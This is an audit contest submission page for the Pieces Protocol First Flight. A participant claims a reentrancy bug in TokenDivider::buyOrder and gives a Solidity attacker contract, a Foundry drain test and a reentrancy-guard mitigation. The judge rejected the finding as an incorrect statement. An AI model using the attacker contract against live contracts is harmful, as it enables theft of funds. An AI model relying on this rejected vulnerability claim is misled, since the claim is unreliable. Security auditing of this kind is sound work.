Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Attack in `TokenDivider::buyOrder` function allows the attacker to buy tokens multiple times while paying once, there by draining all the funds

Summary:

The buyOrder function in the TokenDivider contract is vulnerable to a reentrancy attack, which allows an attacker to repeatedly call the function within a single transaction. This issue could lead to the attacker draining the contract's funds and other malicious behavior.

Description:

The vulnerability arises because the buyOrder function allows Ether to be transferred to the seller before updating the contract's internal state. Specifically, the contract updates the buyer's balance and processes the transaction after the Ether transfer, which can be exploited by an attacker.

An attacker could create a malicious contract that triggers the buyOrder function repeatedly during the fallback function execution, draining Ether from the contract and causing it to behave unpredictably.

Impact:

  • The attacker would keep draining the funds until there is nothing left.

  • Sellers can lose their tokens without receiving payment.

  • This could damage trust in the smart contract and the platform it is on.

Tools Used

Manually Inspection

Proof of Concept

Here is how an attacker could use this bug:

  1. Users deploys a malicious contract that tricks the buyOrder function into calling it back.

  2. When the malicious contract receives Ether, it keeps calling buyOrder repeatedly, before the contract updates its records.

  3. The attacker drains the contract balance by repeating the process until it is empty.

Proof of Code

The Code Add the following code to the `TokenDividerTest.t.sol` file.
contract ReentrancyAttacker {
TokenDivider target;
address seller;
uint256 orderIndex;
constructor(address _target, address _seller, uint256 _orderIndex) {
target = TokenDivider(_target);
seller = _seller;
orderIndex = _orderIndex;
}
function attack() external payable {
// Initiate the attack
target.buyOrder{value: msg.value}(orderIndex, seller);
}
// Fallback function to re-enter buyOrder
receive() external payable {
if (address(target).balance > 0.1 ether) { // Arbitrary condition to limit recursion
target.buyOrder{value: msg.value}(orderIndex, seller);
}
}
}
function testReentrance() public {
// Deploy the malicious attacker contract targeting the TokenDivider contract
ReentrancyAttacker attacker = new ReentrancyAttacker(address(target), seller, 0);
// Fund the attacker contract with 1 Ether for the attack
vm.deal(address(attacker), 1e18);
uint256 startingAttackerBalance = address(attacker).balance;
uint256 startingContractBalance = address(target).balance;
// Initiate the attack
attacker.attack{value: 1e18}();
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(target).balance;
// Assert that the attacker has drained the entire contract balance
assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
assertEq(endingContractBalance, 0);
}

Recommended Mitigation

Use a reentrancy guard to block reentrant calls by using a nonReentrant modifier. This can be added to critical functions where external calls are made

The Code
bool private locked;
modifier nonReentrant() {
require(!locked, "No reentrancy allowed!");
locked = true;
\_;
locked = false;
}
function buyOrder(uint256 orderIndex, address seller) public payable nonReentrant {
// Function implementation
}
<details>
Updates

Lead Judging Commences

juan_pedro_ventu Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.